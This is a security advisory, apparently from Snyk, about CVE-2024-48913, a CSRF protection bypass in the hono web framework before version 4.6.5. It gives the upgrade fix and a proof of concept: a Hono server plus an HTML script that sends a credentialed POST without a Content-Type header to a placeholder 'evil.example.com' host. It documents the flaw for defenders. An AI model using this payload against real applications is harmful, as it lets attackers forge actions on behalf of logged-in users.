Cross-site Request Forgery (CSRF) Affecting hono package, versions <4.6.5
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-HONO-8220272
- published 16 Oct 2024
- disclosed 15 Oct 2024
- credit Unknown
Introduced: 15 Oct 2024
CVE-2024-48913 Open this link in a new tabHow to fix?
Upgrade hono
to version 4.6.5 or higher.
Overview
hono is an Ultrafast web framework for the Edges
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the csrf
function. An attacker can bypass CSRF protection by sending a request without a Content-Type header.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />